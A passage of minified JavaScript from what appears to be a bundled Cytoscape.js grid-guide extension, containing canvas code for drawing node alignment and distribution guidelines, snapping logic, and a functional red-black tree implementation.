u=R[s];if(u.indexOf(n)>=0){if(s=="drawGrid"){a.changeOptions(e);if(e.drawGrid)a.resizeCanvas()}if(s=="snapToGridOnRelease"){t.changeOptions(e);if(e.snapToGridOnRelease)b()}if(s=="guidelines")i.changeOptions(e);if(s=="resize"){r.changeOptions(e);if(e.resize)p()}if(s=="parentPadding")o.changeOptions(e)}}}B=Object.extend({},B,e)}return{init:F,syncWithOptions:F}}},(e,t,r)=>{e.exports=function(e,t,n){var a=r(154);var i=e;var o=function(e){i=e;if(i.guidelinesTolerance==0)i.guidelinesTolerance=.001};var s=function(e){var t=e.getBoundingClientRect();return{top:t.top+document.documentElement.scrollTop,left:t.left+document.documentElement.scrollLeft}};var u=function(){var e=t.scratch("_guidelines");if(!e)e=t.scratch("_guidelines",{});return e};var l=n((function(){f();c.height=t.height();c.width=t.width();c.style.position="absolute";c.style.top=0;c.style.left=0;c.style.zIndex=i.guidelinesStackOrder;setTimeout((function(){c.height=t.height();c.width=t.width();var e=s(c);var r=s(v);c.style.top=-(e.top-r.top);c.style.left=-(e.left-r.left)}),0)}),250);var f=function(){var e=t.width();var r=t.height();d.clearRect(0,0,e,r)};var c=document.createElement("canvas");var v=t.container();var d=c.getContext("2d");v.appendChild(c);var h=function(){c.height=0;c.width=0;c.style.position="absolute";c.style.top=0;c.style.left=0;c.style.zIndex=i.guidelinesStackOrder};h();var p=null;var g=null;var y;var m;var b={};var x={};var w={h:null,v:null};b.getDims=function(e){var t=e.renderedPosition();var r=e.renderedWidth();var n=e.renderedHeight();var a={left:Number(e.renderedStyle("padding-left").replace("px","")),right:Number(e.renderedStyle("padding-right").replace("px","")),top:Number(e.renderedStyle("padding-top").replace("px","")),bottom:Number(e.renderedStyle("padding-bottom").replace("px",""))};return{horizontal:{center:t.x,left:Math.round(t.x-(a.left+r/2)),right:Math.round(t.x+(a.right+r/2))},vertical:{center:t.y,top:Math.round(t.y-(a.top+n/2)),bottom:Math.round(t.y+(a.bottom+n/2))}}};b.init=function(e){p=a();g=a();if(!y){x.x=t.pan("x");x.y=t.pan("y");y=e.renderedPosition()}var r=t.nodes(":visible");m=e.union(e.ancestors());m=m.union(e.descendants());r.not(m).each((function(e,t){if(typeof e==="number"){e=t}var r=b.getDims(e);["left","center","right"].forEach((function(t){var n=r.horizontal[t];if(g.get(n))g.get(n).push(e);else g=g.insert(n,[e])}));["top","center","bottom"].forEach((function(t){var n=r.vertical[t];if(p.get(n))p.get(n).push(e);else p=p.insert(n,[e])}))}));d.lineWidth=i.lineWidth;b.update(e)};b.destroy=function(){b.clear();p=null;g=null;y=null;k={};w={h:null,v:null};if(N){N.unlock();N=undefined}};b.clear=f;b.drawLine=function(e,t,r,n){d.setLineDash(n);d.beginPath();d.moveTo(e.x,e.y);d.lineTo(t.x,t.y);d.strokeStyle=r;d.stroke()};b.drawArrow=function(e,t){if(t=="right"){d.setLineDash([]);d.beginPath();d.moveTo(e.x-5,e.y-5);d.lineTo(e.x,e.y);d.lineTo(e.x-5,e.y+5);d.stroke()}else if(t=="left"){d.setLineDash([]);d.beginPath();d.moveTo(e.x+5,e.y-5);d.lineTo(e.x,e.y);d.lineTo(e.x+5,e.y+5);d.stroke()}else if(t=="top"){d.setLineDash([]);d.beginPath();d.moveTo(e.x-5,e.y+5);d.lineTo(e.x,e.y);d.lineTo(e.x+5,e.y+5);d.stroke()}else if(t=="bottom"){d.setLineDash([]);d.beginPath();d.moveTo(e.x-5,e.y-5);d.lineTo(e.x,e.y);d.lineTo(e.x+5,e.y-5);d.stroke()}};b.drawCross=function(e){d.setLineDash([]);d.beginPath();d.moveTo(e.x-5,e.y+5);d.lineTo(e.x+5,e.y-5);d.moveTo(e.x-5,e.y-5);d.lineTo(e.x+5,e.y+5);d.stroke()};var E=function(e,r){var n=e[0],a=b.getDims(n)[r]["center"];var o=e[0],s=b.getDims(o)[r]["center"];for(var u=0;u<e.length;u++){var l=e[u];if(b.getDims(l)[r]["center"]<a){a=b.getDims(l)[r]["center"];n=l}if(b.getDims(l)[r]["center"]>s){s=b.getDims(l)[r]["center"];o=l}}if(r=="horizontal")var f=(a+s)/2<b.getDims(e[1])[r]["center"]?s+(.5*o.width()+i.guidelinesStyle.distGuidelineOffset)*t.zoom():a-(.5*n.width()+i.guidelinesStyle.distGuidelineOffset)*t.zoom();else var f=(a+s)/2<b.getDims(e[1])[r]["center"]?s+(.5*o.height()+i.guidelinesStyle.distGuidelineOffset)*t.zoom():a-(.5*n.height()+i.guidelinesStyle.distGuidelineOffset)*t.zoom();return f};b.horizontalDistribution=function(e){var r=null,n=null;var a=b.getDims(e);var o=a["horizontal"]["center"];var s=a["vertical"]["center"];g.forEach((function(e,u){for(var l=0;l<u.length;l++){var f=u[l];var c=b.getDims(f);if(Math.abs(c["vertical"]["center"]-a["vertical"]["center"])<i.guidelinesStyle.range*t.zoom()){if(c["horizontal"]["right"]==e&&a["horizontal"]["left"]-c["horizontal"]["right"]>i.guidelinesStyle.minDistRange){var v=Math.round(2*o)-e;g.forEach((function(e,a){for(var o=0;o<a.length;o++){var u=a[o];if(Math.abs(b.getDims(u)["vertical"]["center"]-s)<i.guidelinesStyle.range*t.zoom()){if(Math.abs(v-b.getDims(u)["horizontal"]["left"])<2*i.guidelinesTolerance){r=f;n=u}}}}),v-i.guidelinesTolerance,v+i.guidelinesTolerance)}}}}),o-i.guidelinesStyle.range*t.zoom(),o);if(r){w.hd=o-(b.getDims(n)["horizontal"]["left"]+b.getDims(r)["horizontal"]["right"])/2;if(!i.geometricGuideline||w.h==null||Math.abs(w.h)>Math.abs(w.hd)){w.h=w.hd}var u=E([r,e,n],"vertical");b.drawLine({x:b.getDims(r)["horizontal"]["right"],y:u},{x:a["horizontal"]["left"],y:u},i.guidelinesStyle.horizontalDistColor,i.guidelinesStyle.horizontalDistLine);b.drawLine({x:b.getDims(n)["horizontal"]["left"],y:u},{x:a["horizontal"]["right"],y:u},i.guidelinesStyle.horizontalDistColor,i.guidelinesStyle.horizontalDistLine);b.drawLine({x:b.getDims(r)["horizontal"]["right"],y:u},{x:b.getDims(r)["horizontal"]["right"],y:b.getDims(r)["vertical"]["center"]},i.guidelinesStyle.horizontalDistColor,i.guidelinesStyle.horizontalDistLine);b.drawLine({x:b.getDims(n)["horizontal"]["left"],y:u},{x:b.getDims(n)["horizontal"]["left"],y:b.getDims(n)["vertical"]["center"]},i.guidelinesStyle.horizontalDistColor,i.guidelinesStyle.horizontalDistLine);b.drawLine({x:a["horizontal"]["left"],y:u},{x:a["horizontal"]["left"],y:s},i.guidelinesStyle.horizontalDistColor,i.guidelinesStyle.horizontalDistLine);b.drawLine({x:a["horizontal"]["right"],y:u},{x:a["horizontal"]["right"],y:s},i.guidelinesStyle.horizontalDistColor,i.guidelinesStyle.horizontalDistLine);b.drawArrow({x:b.getDims(r)["horizontal"]["right"],y:u},"left");b.drawArrow({x:a["horizontal"]["left"],y:u},"right");b.drawArrow({x:a["horizontal"]["right"],y:u},"left");b.drawArrow({x:b.getDims(n)["horizontal"]["left"],y:u},"right")}else{var l=b.horizontalDistributionNext(e,"left");if(!l)b.horizontalDistributionNext(e,"right")}};b.verticalDistribution=function(e){var r=null,n=null;var a=b.getDims(e);var o=a["horizontal"]["center"];var s=a["vertical"]["center"];p.forEach((function(e,u){for(var l=0;l<u.length;l++){var f=u[l];var c=b.getDims(f);if(Math.abs(c["horizontal"]["center"]-a["horizontal"]["center"])<i.guidelinesStyle.range*t.zoom()){if(c["vertical"]["bottom"]==e&&a["vertical"]["top"]-c["vertical"]["bottom"]>i.guidelinesStyle.minDistRange){var v=Math.round(2*s-e);p.forEach((function(e,a){for(var s=0;s<a.length;s++){var u=a[s];if(Math.abs(b.getDims(u)["horizontal"]["center"]-o)<i.guidelinesStyle.range*t.zoom()){if(Math.abs(v-b.getDims(u)["vertical"]["top"])<2*i.guidelinesTolerance){r=f;n=u}}}}),v-i.guidelinesTolerance,v+i.guidelinesTolerance)}}}}),s-i.guidelinesStyle.range*t.zoom(),s);if(r){w.vd=s-(b.getDims(r)["vertical"]["bottom"]+b.getDims(n)["vertical"]["top"])/2;if(!i.geometricGuideline||w.v==null||Math.abs(w.v)>Math.abs(w.vd)){w.v=w.vd}var u=E([r,e,n],"horizontal");b.drawLine({y:b.getDims(r)["vertical"]["bottom"],x:u},{y:a["vertical"]["top"],x:u},i.guidelinesStyle.verticalDistColor,i.guidelinesStyle.verticalDistLine);b.drawLine({y:b.getDims(n)["vertical"]["top"],x:u},{y:a["vertical"]["bottom"],x:u},i.guidelinesStyle.verticalDistColor,i.guidelinesStyle.verticalDistLine);b.drawLine({y:b.getDims(r)["vertical"]["bottom"],x:u},{y:b.getDims(r)["vertical"]["bottom"],x:b.getDims(r)["horizontal"]["center"]},i.guidelinesStyle.verticalDistColor,i.guidelinesStyle.verticalDistLine);b.drawLine({y:b.getDims(n)["vertical"]["top"],x:u},{y:b.getDims(n)["vertical"]["top"],x:b.getDims(n)["horizontal"]["center"]},i.guidelinesStyle.verticalDistColor,i.guidelinesStyle.verticalDistLine);b.drawLine({y:a["vertical"]["bottom"],x:u},{y:a["vertical"]["bottom"],x:o},i.guidelinesStyle.verticalDistColor,i.guidelinesStyle.verticalDistLine);b.drawLine({y:a["vertical"]["top"],x:u},{y:a["vertical"]["top"],x:o},i.guidelinesStyle.verticalDistColor,i.guidelinesStyle.verticalDistLine);b.drawArrow({x:u,y:b.getDims(r)["vertical"]["bottom"]},"top");b.drawArrow({x:u,y:a["vertical"]["top"]},"bottom");b.drawArrow({x:u,y:b.getDims(n)["vertical"]["top"]},"bottom");b.drawArrow({x:u,y:a["vertical"]["bottom"]},"top")}else{var l=b.verticalDistributionNext(e,"below");if(!l)b.verticalDistributionNext(e,"above")}};b.searchForLine=function(e,r){var n,a,o,s,u,l,f;var c=b.getDims(r)[e];var v=Number.MAX_SAFE_INTEGER;if(e=="horizontal"){l=g;s="y";u="x";w.h=null}else{l=p;s="x";u="y";w.v=null}o=r.renderedPosition(s);for(var d in c){n=c[d];l.forEach((function(e,r){for(var n=0;n<r.length;n++){var l=r[n];if(i.centerToEdgeAlignment||d!="center"&&l.renderedPosition(u)!=e||d=="center"&&l.renderedPosition(u)==e){var c=Math.abs(o-l.renderedPosition(s));if(c<v&&c<i.guidelinesStyle.geometricGuidelineRange*t.zoom()){a=l;v=c;f=e}}}}),n-Number(i.guidelinesTolerance),n+Number(i.guidelinesTolerance));if(a){v=b.getDims(r)[e][d];if(e=="horizontal"){w.h=v-f;b.drawLine({x:v,y:r.renderedPosition("y")},{x:v,y:a.renderedPosition("y")},i.guidelinesStyle.strokeStyle,i.guidelinesStyle.lineDash)}else{w.v=v-f;b.drawLine({x:r.renderedPosition("x"),y:v},{x:a.renderedPosition("x"),y:v},i.guidelinesStyle.strokeStyle,i.guidelinesStyle.lineDash)}break}}};b.horizontalDistributionNext=function(e,r){var n=null,a=null;var o=b.getDims(e);var s=o["horizontal"]["center"];var u=o["vertical"]["center"];var l="right",f="left";var c=s;if(r=="left"){l="left";f="right";var c=s-i.guidelinesStyle.range*t.zoom()}var v={left:function(e,t){return t-e>i.guidelinesStyle.minDistRange},right:function(e,t){return e-t>i.guidelinesStyle.minDistRange}};g.forEach((function(e,s){for(var c=0;c<s.length;c++){var d=s[c];var h=b.getDims(d);if(Math.abs(h["vertical"]["center"]-o["vertical"]["center"])<i.guidelinesStyle.range*t.zoom()){if(h["horizontal"][f]==e&&v[r](h["horizontal"][f],o["horizontal"][l])){var p=h["horizontal"][l]-(o["horizontal"][l]-e);g.forEach((function(e,r){for(var o=0;o<r.length;o++){var s=r[o];if(Math.abs(b.getDims(s)["vertical"]["center"]-u)<i.guidelinesStyle.range*t.zoom()){if(Math.abs(p-b.getDims(s)["horizontal"][f])<2*i.guidelinesTolerance){n=d;a=s}}}}),p-i.guidelinesTolerance,p+i.guidelinesTolerance)}}}}),c,c+i.guidelinesStyle.range*t.zoom());if(n){w.hd=b.getDims(e)["horizontal"][l]-b.getDims(n)["horizontal"][f]-(b.getDims(n)["horizontal"][l]-b.getDims(a)["horizontal"][f]);if(!i.geometricGuideline||w.h==null||Math.abs(w.h)>Math.abs(w.hd)){w.h=w.hd}b.drawDH(e,n,a,r);return true}else if(!i.geometricGuideline){w.h=null}return false};b.drawDH=function(e,t,r,n){var a=b.getDims(e)["vertical"]["center"];var o="right",s="left";if(n=="left"){o="left";s="right"}var u=E([t,e,r],"vertical");b.drawLine({x:b.getDims(t)["horizontal"][s],y:u},{x:b.getDims(e)["horizontal"][o],y:u},i.guidelinesStyle.horizontalDistColor,i.guidelinesStyle.horizontalDistLine);b.drawLine({x:b.getDims(e)["horizontal"][o],y:u},{x:b.getDims(e)["horizontal"][o],y:a},i.guidelinesStyle.horizontalDistColor,i.guidelinesStyle.horizontalDistLine);b.drawLine({x:b.getDims(r)["horizontal"][s],y:u},{x:b.getDims(t)["horizontal"][o],y:u},i.guidelinesStyle.horizontalDistColor,i.guidelinesStyle.horizontalDistLine);b.drawLine({x:b.getDims(r)["horizontal"][s],y:u},{x:b.getDims(r)["horizontal"][s],y:b.getDims(r)["vertical"]["center"]},i.guidelinesStyle.horizontalDistColor,i.guidelinesStyle.horizontalDistLine);b.drawLine({x:b.getDims(t)["horizontal"][s],y:u},{x:b.getDims(t)["horizontal"][s],y:b.getDims(t)["vertical"]["center"]},i.guidelinesStyle.horizontalDistColor,i.guidelinesStyle.horizontalDistLine);b.drawLine({x:b.getDims(t)["horizontal"][o],y:u},{x:b.getDims(t)["horizontal"][o],y:b.getDims(t)["vertical"]["center"]},i.guidelinesStyle.horizontalDistColor,i.guidelinesStyle.horizontalDistLine);b.drawArrow({x:b.getDims(e)["horizontal"][o],y:u},s);b.drawArrow({x:b.getDims(t)["horizontal"][s],y:u},o);b.drawArrow({x:b.getDims(t)["horizontal"][o],y:u},s);b.drawArrow({x:b.getDims(r)["horizontal"][s],y:u},o)};b.verticalDistributionNext=function(e,r){var n=null,a=null;var o=b.getDims(e);var s=o["horizontal"]["center"];var u=o["vertical"]["center"];var l="top",f="bottom";var c=u-i.guidelinesStyle.range*t.zoom();if(r=="above"){l="bottom";f="top";c=u}var v={below:function(e,t){return t-e>i.guidelinesStyle.minDistRange},above:function(e,t){return e-t>i.guidelinesStyle.minDistRange}};p.forEach((function(e,u){for(var c=0;c<u.length;c++){var d=u[c];var h=b.getDims(d);if(Math.abs(h["horizontal"]["center"]-o["horizontal"]["center"])<i.guidelinesStyle.range*t.zoom()){if(h["vertical"][f]==e&&v[r](h["vertical"][f],o["vertical"][l])){var g=h["vertical"][l]-(o["vertical"][l]-e);p.forEach((function(e,r){for(var o=0;o<r.length;o++){var u=r[o];if(Math.abs(b.getDims(u)["horizontal"]["center"]-s)<i.guidelinesStyle.range*t.zoom()){if(Math.abs(g-b.getDims(u)["vertical"][f])<2*i.guidelinesTolerance){n=d;a=u}}}}),g-i.guidelinesTolerance,g+i.guidelinesTolerance)}}}}),c,c+i.guidelinesStyle.range*t.zoom());if(n){w.vd=b.getDims(e)["vertical"][l]-b.getDims(n)["vertical"][f]-(b.getDims(n)["vertical"][l]-b.getDims(a)["vertical"][f]);if(!i.geometricGuideline||w.v==null||Math.abs(w.v)>Math.abs(w.vd)){w.v=w.vd}b.drawDV(e,n,a,r);return true}else if(!i.geometricGuideline){w.v=null}return false};b.drawDV=function(e,t,r,n){var a=b.getDims(e);var o=a["horizontal"]["center"];var s="top",u="bottom";if(n=="above"){s="bottom";u="top"}var l=E([t,e,r],"horizontal");b.drawLine({x:l,y:a["vertical"][s]},{x:l,y:b.getDims(t)["vertical"][u]},i.guidelinesStyle.verticalDistColor,i.guidelinesStyle.verticalDistLine);b.drawLine({x:l,y:b.getDims(t)["vertical"][s]},{x:l,y:b.getDims(r)["vertical"][u]},i.guidelinesStyle.verticalDistColor,i.guidelinesStyle.verticalDistLine);b.drawLine({x:o,y:a["vertical"][s]},{x:l,y:a["vertical"][s]},i.guidelinesStyle.verticalDistColor,i.guidelinesStyle.verticalDistLine);b.drawLine({x:b.getDims(t)["horizontal"]["center"],y:b.getDims(t)["vertical"][u]},{x:l,y:b.getDims(t)["vertical"][u]},i.guidelinesStyle.verticalDistColor,i.guidelinesStyle.verticalDistLine);b.drawLine({x:b.getDims(t)["horizontal"]["center"],y:b.getDims(t)["vertical"][s]},{x:l,y:b.getDims(t)["vertical"][s]},i.guidelinesStyle.verticalDistColor,i.guidelinesStyle.verticalDistLine);b.drawLine({x:l,y:b.getDims(r)["vertical"][u]},{x:b.getDims(r)["horizontal"]["center"],y:b.getDims(r)["vertical"][u]},i.guidelinesStyle.verticalDistColor,i.guidelinesStyle.verticalDistLine);b.drawArrow({x:l,y:a["vertical"][s]},u);b.drawArrow({x:l,y:b.getDims(t)["vertical"][u]},s);b.drawArrow({x:l,y:b.getDims(t)["vertical"][s]},u);b.drawArrow({x:l,y:b.getDims(r)["vertical"][u]},s)};b.update=function(e){b.clear();if(i.initPosAlignment){T(e)}e.each((function(e,t){if(typeof e==="number"){e=t}if(i.geometricGuideline){b.searchForLine("horizontal",e);b.searchForLine("vertical",e)}if(i.distributionGuidelines){b.horizontalDistribution(e);b.verticalDistribution(e)}}))};b.resize=function(){l()};function _(e){var t={};for(var r=0;r<e.length;r++){t[e[r].id()]=true}var n=e.filter((function(e,r){if(typeof e==="number"){e=r}var n=e.parent()[0];while(n!=null){if(t[n.id()]){return false}n=n.parent()[0]}return true}));return n}var k={};var S={};var C=function(e){k=e.renderedPosition||e.cyRenderedPosition;S.x=k.x;S.y=k.y};var D=function(e){S.x+=e.x-x.x;S.y+=e.y-x.y;x.x=e.x;x.y=e.y};var T=function(e){var t=e.renderedPosition();if(Math.abs(y.y-t.y)<i.guidelinesTolerance){b.drawLine({x:S.x,y:k.y},{x:t.x,y:k.y},i.guidelinesStyle.initPosAlignmentColor,i.guidelinesStyle.initPosAlignmentLine);if(k.y==S.y){b.drawCross(S)}else{b.drawCross(k)}}else if(Math.abs(y.x-t.x)<i.guidelinesTolerance){b.drawLine({x:k.x,y:S.y},{x:k.x,y:t.y},i.guidelinesStyle.initPosAlignmentColor,i.guidelinesStyle.initPosAlignmentLine);if(k.x==S.x){b.drawCross(S)}else{b.drawCross(k)}}};function P(e,t){var r=_(t);var n=r.union(r.descendants());n.filter(":childless").forEach((function(t,r){if(typeof t==="number"){t=r}var n={x:e.x+t.renderedPosition("x"),y:e.y+t.renderedPosition("y")};t.renderedPosition(n)}))}var M;t.on("tapstart","node",(function(){M=this}));var I,O={x:0,y:0};t.on("mousemove",(function(e){I=e.renderedPosition||e.cyRenderedPosition;if(N)N.each((function(e,t){if(typeof e==="number"){e=t}if(e.locked()&&(Math.abs(I.x-O.x)>2*i.guidelinesTolerance||Math.abs(I.y-O.y)>2*i.guidelinesTolerance)){e.unlock();var r={};r.x=I.x-M.renderedPosition("x");r.y=I.y-M.renderedPosition("y");P(r,e)}}))}));var N;b.snapToAlignmentLocation=function(e){N=e;e.each((function(e,t){if(typeof e==="number"){e=t}var r=e.renderedPosition();if(w.h){O=I;r.x-=w.h;e.renderedPosition(r)}if(w.v){O=I;r.y-=w.v;e.renderedPosition(r)}if(w.v||w.h){w.h=null;w.v=null;N.lock()}}));b.update(e)};return{changeOptions:o,lines:b,getTopMostNodes:_,getMousePos:C,setMousePos:D,resizeCanvas:l,resetCanvas:h}}},e=>{"use strict";e.exports=y;var t=0;var r=1;function n(e,t,r,n,a,i){this._color=e;this.key=t;this.value=r;this.left=n;this.right=a;this._count=i}function a(e){return new n(e._color,e.key,e.value,e.left,e.right,e._count)}function i(e,t){return new n(e,t.key,t.value,t.left,t.right,t._count)}function o(e){e._count=1+(e.left?e.left._count:0)+(e.right?e.right._count:0)}function s(e,t){this._compare=e;this.root=t}var u=s.prototype;Object.defineProperty(u,"keys",{get:function(){var e=[];this.forEach((function(t,r){e.push(t)}));return e}});Object.defineProperty(u,"values",{get:function(){var e=[];this.forEach((function(t,r){e.push(r)}));return e}});Object.defineProperty(u,"length",{get:function(){if(this.root){return this.root._count}return 0}});u.insert=function(e,a){var u=this._compare;var l=this.root;var f=[];var c=[];while(l){var v=u(e,l.key);f.push(l);c.push(v);if(v<=0){l=l.left}else{l=l.right}}f.push(new n(t,e,a,null,null,1));for(var d=f.length-2;d>=0;--d){var l=f[d];if(c[d]<=0){f[d]=new n(l._color,l.key,l.value,f[d+1],l.right,l._count+1)}else{f[d]=new n(l._color,l.key,l.value,l.left,f[d+1],l._count+1)}}for(var d=f.length-1;d>1;--d){var h=f[d-1];var l=f[d];if(h._color===r||l._color===r){break}var p=f[d-2];if(p.left===h){if(h.left===l){var g=p.right;if(g&&g._color===t){h._color=r;p.right=i(r,g);p._color=t;d-=1}else{p._color=t;p.left=h.right;h._color=r;h.right=p;f[d-2]=h;f[d-1]=l;o(p);o(h);if(d>=3){var y=f[d-3];if(y.left===p){y.left=h}else{y.right=h}}break}}else{var g=p.right;if(g&&g._color===t){h._color=r;p.right=i(r,g);p._color=t;d-=1}else{h.right=l.left;p._color=t;p.left=l.right;l._color=r;l.left=h;l.right=p;f[d-2]=l;f[d-1]=h;o(p);o(h);o(l);if(d>=3){var y=f[d-3];if(y.left===p){y.left=l}else{y.right=l}}break}}}else{if(h.right===l){var g=p.left;if(g&&g._color===t){h._color=r;p.left=i(r,g);p._color=t;d-=1}else{p._color=t;p.right=h.left;h._color=r;h.left=p;f[d-2]=h;f[d-1]=l;o(p);o(h);if(d>=3){var y=f[d-3];if(y.right===p){y.right=h}else{y.left=h}}break}}else{var g=p.left;if(g&&g._color===t){h._color=r;p.left=i(r,g);p._color=t;d-=1}else{h.left=l.right;p._color=t;p.right=l.left;l._color=r;l.right=h;l.left=p;f[d-2]=l;f[d-1]=h;o(p);o(h);o(l);if(d>=3){var y=f[d-3];if(y.right===p){y.right=l}else{y.left=l}}break}}}}f[0]._color=r;return new s(u,f[0])};function l(e,t){if(t.left){var r=l(e,t.left);if(r){return r}}var r=e(t.key,t.value);if(r){return r}if(t.right){return l(e,t.right)}}function f(e,t,r,n){var a=t(e,n.key);if(a<=0){if(n.left){var i=f(e,t,r,n.left);if(i){return i}}var i=r(n.key,n.value);if(i){return i}}if(n.right){return f(e,t,r,n.right)}}function c(e,t,r,n,a){var i=r(e,a.key);var o=r(t,a.key);var s;if(i<=0){if(a.left){s=c(e,t,r,n,a.left);if(s){return s}}if(o>0){s=n(a.key,a.value);if(s){return s}}}if(o>0&&a.right){return c(e,t,r,n,a.right)}}u.forEach=function e(t,r,n){if(!this.root){return}switch(arguments.length){case 1:return l(t,this.root);break;case 2:return f(r,this._compare,t,this.root);break;case 3:if(this._compare(r,n)>=0){return}return c(r,n,this._compare,t,this.root);break}};Object.defineProperty(u,"begin",{get:function(){var e=[];var t=this.root;while(t){e.push(t);t=t.left}return new v(this,e)}});Object.defineProperty(u,"end",{get:function(){var e=[];var t=this.root;while(t){e.push(t);t=t.right}return new v(this,e)}});u.at=function(e){if(e<0){return new v(this,[])}var t=this.root;var r=[];while(true){r.push(t);if(t.left){if(e<t.left._count){t=t.left;continue}e-=t.left._count}if(!e){return new v(this,r)}e-=1;if(t.right){if(e>=t.right._count){break}t=t.right}else{break}}return new v(this,[])};u.ge=function(e){var t=this._compare;var r=this.root;var n=[];var a=0;while(r){var i=t(e,r.key);n.push(r);if(i<=0){a=n.length}if(i<=0){r=r.left}else{r=r.right}}n.length=a;return new v(this,n)};u.gt=function(e){var t=this._compare;var r=this.root;var n=[];var a=0;while(r){var i=t(e,r.key);n.push(r);if(i<0){a=n.length}if(i<0){r=r.left}else{r=r.right}}n.length=a;return new v(this,n)};u.lt=function(e){var t=this._compare;var r=this.root;var n=[];var a=0;while(r){var i=t(e,r.key);n.push(r);if(i>0){a=n.length}if(i<=0){r=r.left}else{r=r.right}}n.length=a;return new v(this,n)};u.le=function(e){var t=this._compare;var r=this.root;var n=[];var a=0;while(r){var i=t(e,r.key);n.push(r);if(i>=0){a=n.length}if(i<0){r=r.left}else{r=r.right}}n.length=a;return new v(this,n)};u.find=function(e){var t=this._compare;var r=this.root;var n=[];while(r){var a=t(e,r.key);n.push(r);if(a===0){return new v(this,n)}if(a<=0){r=r.left}else{r=r.right}}return new v(this,[])};u.remove=function(e){var t=this.find(e);if(t){return t.remove()}return this};u.get=function(e){var t=this._compare;var r=this.root;while(r){var n=t(e,r.key);if(n===0){return r.value}if(n<=0){r=r.left}else{r=r.right}}return};function v(e,t){this.tree=e;this._stack=t}var d=v.prototype;Object.defineProperty(d,"valid",{get:function(){return this._stack.length>0}});Object.defineProperty(d,"node",{get:function(){if(this._stack.length>0){return this._stack[this._stack.length-1]}return null},enumerable:true});d.clone=function(){return new v(this.tree,this._stack.slice())};function h(e,t){e.key=t.key;e.value=t.value;e.left=t.left;e.right=t.right;e._color=t._color;e._count=t._count}function p(e){var n,s,u,l;for(var f=e.length-1;f>=0;--f){n=e[f];if(f===0){n._color=r;return}s=e[f-1];if(s.left===n){u=s.right;if(u.right&&u.right._color===t){u=s.right=a(u);l=u.right=a(u.right);s.right=u.left;u.left=s;u.right=l;u._color=s._color;n._color=r;s._color=r;l._color=r;o(s);o(u);if(f>1){var c=e[f-2];if(c.left===s){c.left=u}else{c.right=u}}e[f-1]=u;return}else if(u.left&&u.left._color===t){u=s.right=a(u);l=u.left=a(u.left);s.right=l.left;u.left=l.right;l.left=s;l.right=u;l._color=s._color;s._color=r;u._color=r;n._color=r;o(s);o(u);o(l);if(f>1){var c=e[f-2];if(c.left===s){c.left=l}else{c.right=l}}e[f-1]=l;return}if(u._color===r){if(s._color===t){s._color=r;s.right=i(t,u);return}else{s.right=i(t,u);continue}}else{u=a(u);s.right=u.left;u.left=s;u._color=s._color;s._color=t;o(s);o(u);if(f>1){var c=e[f-2];if(c.left===s){c.left=u}else{c.right=u}}e[f-1]=u;e[f]=s;if(f+1<e.length){e[f+1]=n}else{e.push(n)}f=f+2}}else{u=s.left;if(u.left&&u.left._color===t){u=s.left=a(u);l=u.left=a(u.left);s.left=u.right;u.right=s;u.left=l;u._color=s._color;n._color=r;s._color=r;l._color=r;o(s);o(u);if(f>1){var c=e[f-2];if(c.right===s){c.right=u}else{c.left=u}}e[f-1]=u;return}else if(u.right&&u.right._color===t){u=s.left=a(u);l=u.right=a(u.right);s.left=l.right;u.right=l.left;l.right=s;l.left=u;l._color=s._color;s._color=r;u._color=r;n._color=r;o(s);o(u);o(l);if(f>1){var c=e[f-2];if(c.right===s){c.right=l}else{c.left=l}}e[f-1]=l;return}if(u._color===r){if(s._color===t){s._color=r;s.left=i(t,u);return}else{s.left=i(t,u);continue}}else{u=a(u);s.left=u.right;u.right=s;u._color=s._color;s._color=t;o(s);o(u);if(f>1){var c=e[f-2];if(c.right===s){c.right=u}else{c.left=u}}e[f-1]=u;e[f]=s;if(f+1<e.length){e[f+1]=n}else{e.push(n)}f=f+2}}}}d.remove=function(){var e=this._stack;if(e.length===0){return this.tree}var a=new Array(e.length);var i=e[e.length-1];a[a.length-1]=new n(i._color,i.key,i.value,i.left,i.right,i._count);for(var o=e.length-2;o>=0;--o){var i=e[o];if(i.left===e[o+1]){a[o]=new n(i._color,i.key,i.value,a[o+1],i.right,i._count)}else{a[o]=new n(i._color,i.key,i.value,i.left,a[o+1],i._count)}}i=a[a.length-1];if(i.left&&i.right){var u=a.length;i=i.left;while(i.right){a.push(i);i=i.right}var l=a[u-1];a.push(new n(i._color,l.key,l.value,i.left,i.right,i._count));a[u-1].key=i.key;a[u-1].value=i.value;for(var o=a.length-2;o>=u;--o){i=a[o];a[o]=new n(i._color,i.key,i.value,i.left,a[o+1],i._count)}a[u-1].left=a[u]}i=a[a.length-1];if(i._color===t){var f=a[a.length-2];if(f.left===i){f.left=null}else if(f.right===i){f.right=null}a.pop();for(var o=0;o<a.length;++o){a[o]._count--}return new s(this.tree._compare,a[0])}else{if(i.left||i.right){if(i.left){h(i,i.left)}else if(i.right){h(i,i.right)}i._color=r;for(var o=0;o<a.length-1;++o){a[o]._count--}return new s(this.tree._compare,a[0])}else if(a.length===1){return new s(this.tree._compare,null)}else{for(var o=0;o<a.length;++o){a[o]._count--}var c=a[a.length-2];p(a);if(c.left===i){c.left=null}else{c.right=null}}}return new s(this.tree._compare,a[0])};Object.defineProperty(d,"key",{get:function(){if(this._stack.length>0){return this._stack[this._stack.length-1].key}return},enumerable:true});Object.defineProperty(d,"value",{get:function(){if(this._stack.length>0){return this._stack[this._stack.length-1].value}return},enumerable:true});Object.defineProperty(d,"index",{get:function(){var e=0;var t=this._stack;if(t.length===0){var r=this.tree.root;if(r){return r._count}return 0}else if(t[t.length-1].left){e=t[t.length-1].left._count}for(var n=t.length-2;n>=0;--n){if(t[n+1]===t[n].right){++e;if(t[n].left){e+=t[n].left._count}}}return e},enumerable:true});d.next=function(){var e=this._stack;if(e.length===0){return}var t=e[e.length-1];if(t.right){t=t.right;while(t){e.push(t);t=t.left}}else{e.pop();while(e.length>0&&e[e.length-1].right===t){t=e[e.length-1];e.pop()}}};Object.defineProperty(d,"hasNext",{get:function(){var e=this._stack;if(e.length===0){return false}if(e[e.length-1].right){return true}for(var t=e.length-1;t>0;--t){if(e[t-1].left===e[t]){return true}}return false}});d.update=function(e){var t=this._stack;if(t.length===0){throw new Error("Can't update empty node!")}var r=new Array(t.length);var a=t[t.length-1];r[r.length-1]=new n(a._color,a.key,e,a.left,a.right,a._count);for(var i=t.length-2;i>=0;--i){a=t[i];if(a.left===t[i+1]){r[i]=new n(a._color,a.key,a.value,r[i+1],a.right,a._count)}else{r[i]=new n(a._color,a.key,a.value,a.left,r[i+1],a._count)}}return new s(this.tree._compare,r[0])};d.prev=function(){var e=this._stack;if(e.length===0){return}var 